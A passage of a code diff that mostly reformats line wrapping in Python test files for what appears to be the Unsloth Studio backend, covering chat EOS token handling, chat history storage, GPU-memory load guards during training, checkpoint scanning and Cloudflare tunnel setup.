"_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False + backend, + "_apply_chat_template_for_generation", + lambda *a, **k: "PROMPT", + raising = False, + ) + monkeypatch.setattr( + backend, "generate_stream", lambda *a, **k: iter(()), raising = False ) - monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False) - list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}])) + list( + backend._generate_chat_response_inner( + messages = [{"role": "user", "content": "hi"}] + ) + ) # After the template is applied the cache must include the ChatML turn-end id. assert model_info["chat_turn_end_eos_ids"] == [151643, 151645] @@ -107,19 +127,35 @@ def test_turn_end_eos_refresh_preserves_load_time_ids_on_destructive_swap(monkey # Destructively-swapped tokenizer: now maps onto eos id 1, so # resolving on it yields only [1] (drops 107). - swapped_tok = _FakeTokenizer(1, chat_template = _GEMMA, token_ids = {"": 1}) - monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: swapped_tok) + swapped_tok = _FakeTokenizer( + 1, chat_template = _GEMMA, token_ids = {"": 1} + ) monkeypatch.setattr( - ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "gemma-3"}, raising = False + inf_mod, "get_chat_template", lambda tok, chat_template = None: swapped_tok + ) + monkeypatch.setattr( + ds, + "MODEL_TO_TEMPLATE_MAPPER", + {backend.active_model_name: "gemma-3"}, + raising = False, ) monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False) monkeypatch.setattr( - backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False + backend, + "_apply_chat_template_for_generation", + lambda *a, **k: "PROMPT", + raising = False, + ) + monkeypatch.setattr( + backend, "generate_stream", lambda *a, **k: iter(()), raising = False ) - monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False) - list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}])) + list( + backend._generate_chat_response_inner( + messages = [{"role": "user", "content": "hi"}] + ) + ) # The load-time =107 must survive: overwriting with the swapped # [1] would regress and loop past the turn. @@ -146,18 +182,32 @@ def test_turn_end_eos_refresh_resolves_marker_id_on_original_not_remapped(monkey # Remapped tokenizer: ChatML template, but <|im_end|> folded onto doc-eos id 2. remapped_tok = _FakeTokenizer(2, chat_template = _CHATML, token_ids = {"<|im_end|>": 2}) - monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: remapped_tok) monkeypatch.setattr( - ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "chatml"}, raising = False + inf_mod, "get_chat_template", lambda tok, chat_template = None: remapped_tok + ) + monkeypatch.setattr( + ds, + "MODEL_TO_TEMPLATE_MAPPER", + {backend.active_model_name: "chatml"}, + raising = False, ) monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False) monkeypatch.setattr( - backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False + backend, + "_apply_chat_template_for_generation", + lambda *a, **k: "PROMPT", + raising = False, + ) + monkeypatch.setattr( + backend, "generate_stream", lambda *a, **k: iter(()), raising = False ) - monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False) - list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}])) + list( + backend._generate_chat_response_inner( + messages = [{"role": "user", "content": "hi"}] + ) + ) # The real <|im_end|>=7 (original vocab) must be recovered, not the remapped 2. assert model_info["chat_turn_end_eos_ids"] == [2, 7] @@ -184,7 +234,12 @@ def test_resolve_chat_eos_reads_vision_processor_template(): backend = InferenceBackend.__new__(InferenceBackend) backend.active_model_name = "unsloth/gemma-3-4b-it" - model_info = {"model": model, "tokenizer": processor, "processor": processor, "is_vision": True} + model_info = { + "model": model, + "tokenizer": processor, + "processor": processor, + "is_vision": True, + } backend.models = {backend.active_model_name: model_info} backend._resolve_chat_eos(backend.active_model_name) diff --git a/studio/backend/tests/test_chat_history_routes.py b/studio/backend/tests/test_chat_history_routes.py index a60ac700bf..8857daf4a4 100644 --- a/studio/backend/tests/test_chat_history_routes.py +++ b/studio/backend/tests/test_chat_history_routes.py @@ -120,13 +120,16 @@ def test_chat_inference_settings_covers_frontend_persisted_fields(): pytest.skip("frontend runtime.ts not present") with open(runtime_ts, encoding = "utf-8") as fh: - block = re.search(r"interface InferenceParams \{(.*?)\n\}", fh.read(), re.DOTALL) + block = re.search( + r"interface InferenceParams \{(.*?)\n\}", fh.read(), re.DOTALL + ) assert block, "InferenceParams interface not found in runtime.ts" persisted = set(re.findall(r"^\s*(\w+)\??:", block.group(1), re.M)) - {"checkpoint"} backend = set(chat_history.ChatInferenceSettings.model_fields) assert persisted == backend, ( - f"schema drift: frontend-only {persisted - backend}, " f"backend-only {backend - persisted}" + f"schema drift: frontend-only {persisted - backend}, " + f"backend-only {backend - persisted}" ) @@ -205,7 +208,9 @@ def test_fork_thread_404_when_source_missing(monkeypatch): def test_fork_thread_404_when_branch_message_missing(monkeypatch): - monkeypatch.setattr(chat_history, "get_chat_thread", lambda _id: {"id": _id, "title": "T"}) + monkeypatch.setattr( + chat_history, "get_chat_thread", lambda _id: {"id": _id, "title": "T"} + ) monkeypatch.setattr(chat_history, "get_chat_message", lambda _t, _m: None) with pytest.raises(HTTPException) as exc: asyncio.run( diff --git a/studio/backend/tests/test_chat_history_storage.py b/studio/backend/tests/test_chat_history_storage.py index 0239410734..69eeb27308 100644 --- a/studio/backend/tests/test_chat_history_storage.py +++ b/studio/backend/tests/test_chat_history_storage.py @@ -171,15 +171,23 @@ def test_list_chat_threads_orders_by_last_activity(tmp_path, monkeypatch): newer["createdAt"] = 1_700_000_100_000 studio_db.upsert_chat_thread(older) studio_db.upsert_chat_thread(newer) - assert [t["id"] for t in studio_db.list_chat_threads()] == ["thread-new", "thread-old"] + assert [t["id"] for t in studio_db.list_chat_threads()] == [ + "thread-new", + "thread-old", + ] studio_db.upsert_chat_message( _message("msg-1", 1_700_000_200_000, "hi", thread_id = "thread-old") ) - assert [t["id"] for t in studio_db.list_chat_threads()] == ["thread-old", "thread-new"] + assert [t["id"] for t in studio_db.list_chat_threads()] == [ + "thread-old", + "thread-new", + ] -def test_chat_threads_updated_at_migration_backfills_from_messages(tmp_path, monkeypatch): +def test_chat_threads_updated_at_migration_backfills_from_messages( + tmp_path, monkeypatch +): _reset_studio_db(tmp_path, monkeypatch) db_path = studio_db_path() db_path.parent.mkdir(parents = True, exist_ok = True) @@ -237,7 +245,9 @@ def test_chat_threads_updated_at_migration_backfills_from_messages(tmp_path, mon finally: conn.close() - assert studio_db.get_chat_thread("thread-with-msgs")["updatedAt"] == 1_700_000_002_000 + assert ( + studio_db.get_chat_thread("thread-with-msgs")["updatedAt"] == 1_700_000_002_000 + ) assert studio_db.get_chat_thread("thread-empty")["updatedAt"] == 1_700_000_050_000 assert studio_db.get_chat_thread("thread-fork")["updatedAt"] == 1_700_000_100_000 @@ -365,16 +375,22 @@ def test_settings_merge_atomic_under_concurrency(tmp_path, monkeypatch): def test_settings_merge_preserves_nested_keys(tmp_path, monkeypatch): _reset_studio_db(tmp_path, monkeypatch) - studio_db.upsert_chat_settings_merge({"inferenceParams": {"temperature": 0.5, "topP": 0.8}}) + studio_db.upsert_chat_settings_merge( + {"inferenceParams": {"temperature": 0.5, "topP": 0.8}} + ) studio_db.upsert_chat_settings_merge({"inferenceParams": {"temperature": 0.9}}) params = studio_db.list_chat_settings()["inferenceParams"] assert params == {"temperature": 0.9, "topP": 0.8} -def test_settings_merge_quarantines_corrupt_json_and_rejects_partial_patch(tmp_path, monkeypatch): +def test_settings_merge_quarantines_corrupt_json_and_rejects_partial_patch( + tmp_path, monkeypatch +): _reset_studio_db(tmp_path, monkeypatch) - studio_db.upsert_chat_settings_merge({"inferenceParams": {"temperature": 0.5, "topP": 0.8}}) + studio_db.upsert_chat_settings_merge( + {"inferenceParams": {"temperature": 0.5, "topP": 0.8}} + ) conn = studio_db.get_connection() try: conn.execute( @@ -422,7 +438,9 @@ def test_settings_merge_replaces_corrupt_scalar_after_quarantine(tmp_path, monke assert settings["autoTitle"] is True conn = studio_db.get_connection() try: - quarantined = conn.execute("SELECT key, reason FROM chat_settings_quarantine").fetchall() + quarantined = conn.execute( + "SELECT key, reason FROM chat_settings_quarantine" + ).fetchall() finally: conn.close() assert [(row["key"], row["reason"]) for row in quarantined] == [ @@ -478,7 +496,11 @@ def test_legacy_imports_records_and_lists(tmp_path, monkeypatch): ) assert accepted == 3 assert inserted == 3 - assert set(studio_db.list_chat_legacy_imports()) == {"legacy-a", "legacy-b", "legacy-c"} + assert set(studio_db.list_chat_legacy_imports()) == { + "legacy-a", + "legacy-b", + "legacy-c", + } def test_legacy_imports_is_idempotent(tmp_path, monkeypatch): @@ -492,7 +514,11 @@ def test_legacy_imports_is_idempotent(tmp_path, monkeypatch): assert (accepted1, inserted1) == (2, 2) # legacy-b is already in the ledger, only legacy-c is genuinely new. assert (accepted2, inserted2) == (2, 1) - assert set(studio_db.list_chat_legacy_imports()) == {"legacy-a", "legacy-b", "legacy-c"} + assert set(studio_db.list_chat_legacy_imports()) == { + "legacy-a", + "legacy-b", + "legacy-c", + } def test_legacy_imports_dedups_input(tmp_path, monkeypatch): @@ -596,7 +622,9 @@ def test_fork_chat_thread_preserves_project_id(tmp_path, monkeypatch): assert forked is not None assert forked["projectId"] == "project-1" - assert {thread["id"] for thread in studio_db.list_chat_threads(project_id = "project-1")} == { + assert { + thread["id"] for thread in studio_db.list_chat_threads(project_id = "project-1") + } == { "fork-1", "src", } diff --git a/studio/backend/tests/test_chat_load_during_training.py b/studio/backend/tests/test_chat_load_during_training.py index 7daa4224aa..836c416464 100644 --- a/studio/backend/tests/test_chat_load_during_training.py +++ b/studio/backend/tests/test_chat_load_during_training.py @@ -52,10 +52,16 @@ def _devices(*free_specs): class TestCanLoadAutoHF(_GpuCacheResetMixin, unittest.TestCase): def _run(self, *, selection_mode, required, usable): - meta = {"selection_mode": selection_mode, "required_gb": required, "usable_gb": usable} + meta = { + "selection_mode": selection_mode, + "required_gb": required, + "usable_gb": usable, + } with ( patch("utils.hardware.get_device", return_value = DeviceType.CUDA), - patch("utils.hardware.auto_select_gpu_ids", return_value = ([0], meta)) as auto_mock, + patch( + "utils.hardware.auto_select_gpu_ids", return_value = ([0], meta) + ) as auto_mock, ): ok, info = tv.can_load_chat_during_training( model_name = "unsloth/Qwen3-1.7B", @@ -69,7 +75,9 @@ class TestCanLoadAutoHF(_GpuCacheResetMixin, unittest.TestCase): def test_fits_with_margin(self): # free 60 >= 8*1.15+4 = 13.2 - ok, info, auto_mock = self._run(selection_mode = "auto", required = 8.0, usable = 60.0) + ok, info, auto_mock = self._run( + selection_mode = "auto", required = 8.0, usable = 60.0 + ) self.assertTrue(ok) self.assertEqual(info["mode"], "auto") self.assertAlmostEqual(info["needed_gb"], 13.2, places = 3) @@ -82,7 +90,9 @@ class TestCanLoadAutoHF(_GpuCacheResetMixin, unittest.TestCase): def test_fallback_all_refuses(self): # Selector couldn't confirm placement -> default-deny to protect training. - ok, info = self._run(selection_mode = "fallback_all", required = 8.0, usable = 999.0)[:2] + ok, info = self._run(selection_mode = "fallback_all", required = 8.0, usable = 999.0)[ + :2 + ] self.assertFalse(ok) @@ -106,8 +116,14 @@ class TestCanLoadExplicitHF(_GpuCacheResetMixin, unittest.TestCase): ) with ( patch("utils.hardware.get_device", return_value = DeviceType.CUDA), - patch("utils.hardware.estimate_required_model_memory_gb", return_value = (required, {})), - patch("utils.hardware.get_visible_gpu_utilization", return_value = {"devices": devices}), + patch( + "utils.hardware.estimate_required_model_memory_gb", + return_value = (required, {}), + ), + patch( + "utils.hardware.get_visible_gpu_utilization", + return_value = {"devices": devices}, + ), patch("utils.hardware.resolve_requested_gpu_ids", **resolve_kwargs), patch("utils.hardware.auto_select_gpu_ids") as auto_mock, ): @@ -122,7 +138,9 @@ class TestCanLoadExplicitHF(_GpuCacheResetMixin, unittest.TestCase): return ok, info, auto_mock def test_single_gpu_fits(self): - ok, info, auto_mock = self._run(required = 8.0, devices = _devices((0, 80, 20)), gpu_ids = [0]) + ok, info, auto_mock = self._run( + required = 8.0, devices = _devices((0, 80, 20)), gpu_ids = [0] + ) self.assertTrue(ok) self.assertEqual(info["mode"], "explicit") auto_mock.assert_not_called() # explicit never calls the auto selector @@ -144,7 +162,9 @@ class TestCanLoadExplicitHF(_GpuCacheResetMixin, unittest.TestCase): self.assertTrue(ok) def test_missing_gpu_counts_as_zero(self): - ok, _, _ = self._run(required = 5.0, devices = _devices((0, 80, 5)), gpu_ids = [3], resolved = [3]) + ok, _, _ = self._run( + required = 5.0, devices = _devices((0, 80, 5)), gpu_ids = [3], resolved = [3] + ) self.assertFalse(ok) def test_invalid_ids_does_not_block(self): @@ -173,8 +193,14 @@ class TestCanLoadGGUF(_GpuCacheResetMixin, unittest.TestCase): ): with ( patch("utils.hardware.get_device", return_value = DeviceType.CUDA), - patch("utils.hardware.estimate_required_model_memory_gb", return_value = (estimate, {})), - patch("utils.hardware.get_visible_gpu_utilization", return_value = {"devices": devices}), + patch( + "utils.hardware.estimate_required_model_memory_gb", + return_value = (estimate, {}), + ), + patch( + "utils.hardware.get_visible_gpu_utilization", + return_value = {"devices": devices}, + ), patch("utils.hardware.resolve_requested_gpu_ids", return_value = gpu_ids), patch("utils.hardware.auto_select_gpu_ids") as auto_mock, ): @@ -191,7 +217,9 @@ class TestCanLoadGGUF(_GpuCacheResetMixin, unittest.TestCase): return ok, info, auto_mock def test_override_fits(self): - ok, info, auto_mock = self._run(devices = _devices((0, 80, 20)), required_override = 10.0) + ok, info, auto_mock = self._run( + devices = _devices((0, 80, 20)), required_override = 10.0 + ) self.assertTrue(ok) self.assertEqual(info["mode"], "gguf") auto_mock.assert_not_called() # GGUF never uses the HF auto selector @@ -199,7 +227,9 @@ class TestCanLoadGGUF(_GpuCacheResetMixin, unittest.TestCase): def test_no_per_gpu_floor_for_gguf(self): # free [45, 10], override 20 -> needed 27, aggregate 53.5 >= 27. GGUF self- # places, so the per-GPU floor that would block HF doesn't apply -> allow. - ok, _, _ = self._run(devices = _devices((0, 80, 35), (1, 80, 70)), required_override = 20.0) + ok, _, _ = self._run( + devices = _devices((0, 80, 35), (1, 80, 70)), required_override = 20.0 + ) self.assertTrue(ok) def test_no_per_gpu_floor_for_gguf_with_explicit_gpu_ids(self): @@ -286,7 +316,9 @@ class TestCanLoadGGUF(_GpuCacheResetMixin, unittest.TestCase): def test_estimate_unavailable_refuses(self): # No override and the estimator can't size it -> default-deny. - ok, info, _ = self._run(devices = _devices((0, 80, 0)), required_override = None, estimate = None) + ok, info, _ = self._run( + devices = _devices((0, 80, 0)), required_override = None, estimate = None + ) self.assertFalse(ok) self.assertEqual(info["reason"], "estimate_unavailable") @@ -311,7 +343,10 @@ class TestCanLoadMisc(_GpuCacheResetMixin, unittest.TestCase): # GGUF with an empty device list -> no candidate GPU -> default-deny. with ( patch("utils.hardware.get_device", return_value = DeviceType.CUDA), - patch("utils.hardware.get_visible_gpu_utilization", return_value = {"devices": []}), + patch( + "utils.hardware.get_visible_gpu_utilization", + return_value = {"devices": []}, + ), patch("utils.hardware.auto_select_gpu_ids"), ): ok, info = tv.can_load_chat_during_training( @@ -557,18 +592,28 @@ class TestChatLoadGuardRoute(unittest.TestCase): self.assertEqual(captured[0]["single_device_gpu"], "3") def test_refuses_with_headroom_number(self): - info = {"required_gb": 30.0, "usable_gb": 6.0, "needed_gb": 39.0, "mode": "auto"} + info = { + "required_gb": 30.0, + "usable_gb": 6.0, + "needed_gb": 39.0, + "mode": "auto", + } with self.assertRaises(HTTPException) as exc: self._guard(training_active = True, decision = (False, info)) self.assertEqual(exc.exception.status_code, 409) - self.assertIn("39 GB", exc.exception.detail) # reports needed_gb, not required_gb 30 + self.assertIn( + "39 GB", exc.exception.detail + ) # reports needed_gb, not required_gb 30 self.assertNotIn("30 GB", exc.exception.detail) self.assertIn("including safety headroom", exc.exception.detail) self.assertNotIn("chat is disabled", exc.exception.detail.lower()) def test_refuses_generic_when_unsizable(self): with self.assertRaises(HTTPException) as exc: - self._guard(training_active = True, decision = (False, {"reason": "estimate_unavailable"})) + self._guard( + training_active = True, + decision = (False, {"reason": "estimate_unavailable"}), + ) self.assertEqual(exc.exception.status_code, 409) self.assertIn("could not be verified", exc.exception.detail) @@ -648,7 +693,9 @@ class TestValidateRefusesDuringTraining(unittest.TestCase): from models.inference import ValidateModelRequest request = ValidateModelRequest( - model_path = "unsloth/Qwen3-1.7B", load_in_4bit = load_in_4bit, max_seq_length = 4096 + model_path = "unsloth/Qwen3-1.7B", + load_in_4bit = load_in_4bit, + max_seq_length = 4096, ) cfg = SimpleNamespace( identifier = "unsloth/Qwen3-1.7B", @@ -667,9 +714,13 @@ class TestValidateRefusesDuringTraining(unittest.TestCase): ), patch.object(self.route.ModelConfig, "from_identifier", return_value = cfg), patch.object(self.route, "load_inference_config", return_value = {}), - _stub_guard_deps(training_active = training_active, decision = decision, captured = captured), + _stub_guard_deps( + training_active = training_active, decision = decision, captured = captured + ), ): - return asyncio.run(self.route.validate_model(request, current_subject = "test-user")) + return asyncio.run( + self.route.validate_model(request, current_subject = "test-user") + ) def test_ok_when_training_inactive(self): resp = self._validate(training_active = False, decision = (False, {})) @@ -686,7 +737,10 @@ class TestValidateRefusesDuringTraining(unittest.TestCase): # validate must size with the request's settings, not hardcoded defaults. captured = [] self._validate( - training_active = True, decision = (True, {}), captured = captured, load_in_4bit = False + training_active = True, + decision = (True, {}), + captured = captured, + load_in_4bit = False, ) self.assertEqual(captured[0]["load_in_4bit"], False) self.assertEqual(captured[0]["max_seq_length"], 4096) @@ -733,7 +787,9 @@ class TestValidateRefusesDuringTraining(unittest.TestCase): # /load then 409s after the frontend has already unloaded. from models.inference import ValidateModelRequest - request = ValidateModelRequest(model_path = "unsloth/Qwen3-1.7B", max_seq_length = 4096) + request = ValidateModelRequest( + model_path = "unsloth/Qwen3-1.7B", max_seq_length = 4096 + ) cfg = SimpleNamespace( identifier = "unsloth/Qwen3-1.7B", display_name = "Qwen3-1.7B", @@ -752,7 +808,11 @@ class TestValidateRefusesDuringTraining(unittest.TestCase): ), patch.object(self.route.ModelConfig, "from_identifier", return_value = cfg), patch.object(self.route, "load_inference_config", return_value = {}), - patch.object(self.route, "_resolve_inherited_extra_args", return_value = ["-c", "32768"]), + patch.object( + self.route, + "_resolve_inherited_extra_args", + return_value = ["-c", "32768"], + ), patch.object( self.route, "_guard_chat_load_against_training", @@ -924,13 +984,17 @@ class TestEstimateGgufRequiredGb(unittest.TestCase): self.assertEqual(seen["ctx"], 131072) self.assertEqual(seen["n_parallel"], 1) # default single slot # override below max_seq_length -> larger (max_seq_length) wins - self.assertAlmostEqual(r._estimate_gguf_kv_gb("m", 4096, ["--ctx-size", "1024"]), 4.0) + self.assertAlmostEqual( + r._estimate_gguf_kv_gb("m", 4096, ["--ctx-size", "1024"]), 4.0 + ) self.assertEqual(seen["ctx"], 4096) # no override, no max_seq_length -> native context fallback self.assertAlmostEqual(r._estimate_gguf_kv_gb("m", 0, None), 2.0) self.assertEqual(seen["ctx"], 2048) # malformed extras are ignored (fall back to max_seq_length) - self.assertAlmostEqual(r._estimate_gguf_kv_gb("m", 4096, ["--ctx-size", "oops"]), 4.0) + self.assertAlmostEqual( + r._estimate_gguf_kv_gb("m", 4096, ["--ctx-size", "oops"]), 4.0 + ) # --parallel slots scale the cache the same way the launcher does self.assertAlmostEqual(r._estimate_gguf_kv_gb("m", 4096, None, 4), 16.0) self.assertEqual(seen["n_parallel"], 4) @@ -962,27 +1026,42 @@ class TestLoadModelGuardIntegration(unittest.TestCase): identifier = "unsloth/Qwen3-1.7B", ) request = LoadRequest(model_path = "unsloth/Qwen3-1.7B") - info = {"required_gb": 40.0, "usable_gb": 5.0, "needed_gb": 50.0, "mode": "auto"} + info = { + "required_gb": 40.0, + "usable_gb": 5.0, + "needed_gb": 50.0, + "mode": "auto", + } with ( # Pin the latest-sidecar tier check so the guard path stays offline. - patch("utils.transformers_version.latest_tier_active_for", return_value = False), + patch( + "utils.transformers_version.latest_tier_active_for", return_value = False + ), patch.object(self.route, "validate_extra_args", return_value = None), patch.object( self.route, "_resolve_model_identifier_for_request", return_value = ("unsloth/Qwen3-1.7B", "unsloth/Qwen3-1.7B", False), ), - patch.object(self.route, "resolve_effective_chat_template_override", return_value = None), + patch.object( + self.route, + "resolve_effective_chat_template_override", + return_value = None, + ), patch.object(self.route, "get_inference_backend", return_value = inf), patch.object(self.route, "get_llama_cpp_backend", return_value = llama), - patch.object(self.route, "_hf_offline_if_dns_dead", lambda: contextlib.nullcontext()), + patch.object( + self.route, "_hf_offline_if_dns_dead", lambda: contextlib.nullcontext() + ), patch.object(self.route.ModelConfig, "from_identifier", return_value = cfg), _stub_guard_deps(training_active = True, decision = (False, info)), ): with self.assertRaises(HTTPException) as exc: asyncio.run( - self.route.load_model(request, fastapi_request = MagicMock(), current_subject = "u") + self.route.load_model( + request, fastapi_request = MagicMock(), current_subject = "u" + ) ) self.assertEqual(exc.exception.status_code, 409) diff --git a/studio/backend/tests/test_chat_template_tool_arguments.py b/studio/backend/tests/test_chat_template_tool_arguments.py index 13d1ecabaa..d651ca23f4 100644 --- a/studio/backend/tests/test_chat_template_tool_arguments.py +++ b/studio/backend/tests/test_chat_template_tool_arguments.py @@ -80,7 +80,9 @@ def test_non_json_string_left_as_is(): def test_render_succeeds_on_strict_template_with_string_arguments(): # Regression: strict template + string args used to raise. - result = apply_chat_template_for_generation(_StrictTemplateTokenizer(), _conv('{"query": "x"}')) + result = apply_chat_template_for_generation( + _StrictTemplateTokenizer(), _conv('{"query": "x"}') + ) assert result == "RENDERED" diff --git a/studio/backend/tests/test_chat_turn_end_eos.py b/studio/backend/tests/test_chat_turn_end_eos.py index c49e39f8fe..ffb77c0f41 100644 --- a/studio/backend/tests/test_chat_turn_end_eos.py +++ b/studio/backend/tests/test_chat_turn_end_eos.py @@ -43,19 +43,25 @@ class _FakeTokenizer: # ---- resolve_chat_turn_end_eos_ids --------------------------------------- -_CHATML = "{% for m in messages %}<|im_start|>{{m.role}}\n{{m.content}}<|im_end|>{% endfor %}" +_CHATML = ( + "{% for m in messages %}<|im_start|>{{m.role}}\n{{m.content}}<|im_end|>{% endfor %}" +) def test_qwen35_adds_im_end_from_template(): # eos synced to <|endoftext|> (248044); template uses <|im_end|> (248046). - tok = _FakeTokenizer(248044, chat_template = _CHATML, token_ids = {"<|im_end|>": 248046}) + tok = _FakeTokenizer( + 248044, chat_template = _CHATML, token_ids = {"<|im_end|>": 248046} + ) assert resolve_chat_turn_end_eos_ids(tok) == [248044, 248046] def test_marker_in_vocab_but_not_in_template_is_ignored(): # Base/coder model: <|im_end|> is in the vocab but the template does not use # it, so it must not become a stop token. - tok = _FakeTokenizer(248044, chat_template = "{{ messages }}", token_ids = {"<|im_end|>": 248046}) + tok = _FakeTokenizer( + 248044, chat_template = "{{ messages }}", token_ids = {"<|im_end|>": 248046} + ) assert resolve_chat_turn_end_eos_ids(tok) == [248044] @@ -67,7 +73,9 @@ def test_harmony_template_is_left_untouched(): def test_llama3_eot_id_from_template(): - tok = _FakeTokenizer(128001, chat_template = "...<|eot_id|>...", token_ids = {"<|eot_id|>": 128009}) + tok = _FakeTokenizer( + 128001, chat_template = "...<|eot_id|>...", token_ids = {"<|eot_id|>": 128009} + ) assert resolve_chat_turn_end_eos_ids(tok) == [128001, 128009] @@ -105,7 +113,9 @@ def test_starling_barred_end_of_turn_from_template(): # OpenChat/Starling end turns with the BARRED <|end_of_turn|> (distinct from # Gemma's ). eos synced to =2, turn marker at 32000. starling = "GPT4 Correct Assistant: hi<|end_of_turn|>" - tok = _FakeTokenizer(2, chat_template = starling, token_ids = {"<|end_of_turn|>": 32000}) + tok = _FakeTokenizer( + 2, chat_template = starling, token_ids = {"<|end_of_turn|>": 32000} + ) assert resolve_chat_turn_end_eos_ids(tok) == [2, 32000] diff --git a/studio/backend/tests/test_checkpoints_scan.py b/studio/backend/tests/test_checkpoints_scan.py index 6d473146f5..102277c497 100644 --- a/studio/backend/tests/test_checkpoints_scan.py +++ b/studio/backend/tests/test_checkpoints_scan.py @@ -160,7 +160,9 @@ def test_scan_checkpoints_strips_project_suffix_without_history(tmp_path, monkey assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct" -def test_scan_checkpoints_preserves_project_marker_in_model_without_history(tmp_path, monkeypatch): +def test_scan_checkpoints_preserves_project_marker_in_model_without_history( + tmp_path, monkeypatch +): outputs_dir = _make_outputs_dir(tmp_path, monkeypatch) run_name = build_default_output_dir_name( "org/foo__project-bar", @@ -202,7 +204,9 @@ def test_scan_checkpoints_preserves_legacy_folder_name_fallback(tmp_path, monkey assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct" -def test_scan_checkpoints_prefers_exact_history_match_over_newer_suffix(tmp_path, monkeypatch): +def test_scan_checkpoints_prefers_exact_history_match_over_newer_suffix( + tmp_path, monkeypatch +): outputs_dir = _make_outputs_dir(tmp_path, monkeypatch) run_dir = outputs_dir / "unsloth_Test_1771227800" run_dir.mkdir() diff --git a/studio/backend/tests/test_cloudflare_tunnel.py b/studio/backend/tests/test_cloudflare_tunnel.py index bb51cabf76..04d7dc5ea7 100644 --- a/studio/backend/tests/test_cloudflare_tunnel.py +++ b/studio/backend/tests/test_cloudflare_tunnel.py @@ -204,7 +204,9 @@ def test_cache_path_uses_exe_on_windows(monkeypatch, tmp_path): def test_ensure_windows_downloads_exe(monkeypatch, tmp_path): cached = tmp_path / "cloudflared.exe" monkeypatch.setattr(ct, "find_cloudflared", lambda: None) - monkeypatch.setattr(ct, "_asset_name", lambda: ("cloudflared-windows-amd64.exe", False)) + monkeypatch.setattr( + ct, "_asset_name", lambda: ("cloudflared-windows-amd64.exe", False) + ) monkeypatch.setattr(ct, "_cache_path", lambda: cached) monkeypatch.setattr(ct.sys, "platform", "win32") @@ -215,7 +217,9 @@ def test_ensure_windows_downloads_exe(monkeypatch, tmp_path): monkeypatch.setattr(ct, "_download", fake_download) # chmod is skipped on Windows; would raise on a path that does not exist yet. - monkeypatch.setattr(ct.os, "chmod", lambda *a, **k: pytest.fail("chmod called on win32")) + monkeypatch.setattr( + ct.os, "chmod", lambda *a, **k: pytest.fail("chmod called on win32") + ) assert ct.ensure_cloudflared() == str(cached) assert cached.read_bytes() == b"MZ" @@ -223,7 +227,9 @@ def test_ensure_windows_downloads_exe(monkeypatch, tmp_path): def test_ensure_macos_extracts_tgz_and_chmods(monkeypatch, tmp_path): cached = tmp_path / "cloudflared" monkeypatch.setattr(ct, "find_cloudflared", lambda: None) - monkeypatch.setattr(ct, "_asset_name", lambda: ("cloudflared-darwin-arm64.tgz", True)) + monkeypatch.setattr( + ct, "_asset_name", lambda: ("cloudflared-darwin-arm64.tgz", True) + ) monkeypatch.setattr(ct, "_cache_path", lambda: cached) monkeypatch.setattr(ct.sys, "platform", "darwin") @@ -332,7 +338,9 @@ def test_start_after_stop_does_not_spawn(monkeypatch): def poll(self): return 0 - monkeypatch.setattr(ct.subprocess, "Popen", lambda *a, **k: (spawned.append(a), _FakeProc())[1]) + monkeypatch.setattr( + ct.subprocess, "Popen", lambda *a, **k: (spawned.append(a), _FakeProc())[1] + ) t.stop() # proc is None -> no-op terminate, but marks the tunnel stopped t.start() # must short-circuit before Popen assert spawned == [] @@ -666,7 +674,10 @@ def test_start_studio_tunnel_aborts_retry_on_concurrent_shutdown(monkeypatch): def _func_param_defaults(source, func_name): tree = ast.parse(source) for node in ast.walk(tree): - if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)) and node.name == func_name: + if ( + isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)) + and node.name == func_name + ): args = node.args.args defaults = node.args.defaults offset = len(args) - len(defaults) @@ -767,9 +778,14 @@ def _run_print_cloudflare_line( def test_cloudflare_line_reworded_when_public_unreachable(monkeypatch): out = _run_print_cloudflare_line( - monkeypatch, cloudflare_url = "https://x.trycloudflare.com", public_reachable = False + monkeypatch, + cloudflare_url = "https://x.trycloudflare.com", + public_reachable = False, + ) + assert ( + "Use the secure link access via Cloudflare instead: https://x.trycloudflare.com" + in out ) - assert "Use the secure link access via Cloudflare instead: https://x.trycloudflare.com" in out def test_cloudflare_line_default_wording_when_reachable(monkeypatch): @@ -789,7 +805,9 @@ def test_cloudflare_line_default_wording_when_unknown(monkeypatch): def test_cloudflare_line_states_inactive_when_enabled_but_not_requested(monkeypatch): - out = _run_print_cloudflare_line(monkeypatch, cloudflare_url = None, public_reachable = False) + out = _run_print_cloudflare_line( + monkeypatch, cloudflare_url = None, public_reachable = False + ) assert "Cloudflare tunnel: OFF for this mode" in out assert "local network only" in out @@ -922,7 +940,9 @@ def test_cloudflare_line_unknown_warns_with_loopback_host( assert "\033[38;5;215;1m" in out -def test_cloudflare_line_off_does_not_claim_local_only_when_publicly_reachable(monkeypatch): +def test_cloudflare_line_off_does_not_claim_local_only_when_publicly_reachable( + monkeypatch, +): out = _run_print_cloudflare_line( monkeypatch, cloudflare_url = None, @@ -935,7 +955,9 @@ def test_cloudflare_line_off_does_not_claim_local_only_when_publicly_reachable(m assert "local network only" not in out -def test_cloudflare_line_failed_does_not_claim_local_only_when_publicly_reachable(monkeypatch): +def test_cloudflare_line_failed_does_not_claim_local_only_when_publicly_reachable( + monkeypatch, +): out = _run_print_cloudflare_line( monkeypatch, cloudflare_url = None, diff --git a/studio/backend/tests/test_completion_masking.py b/studio/backend/tests/test_completion_masking.py index be0d8a69bd..bd3281c8ae 100644 --- a/studio/backend/tests/test_completion_masking.py +++ b/studio/backend/tests/test_completion_masking.py @@ 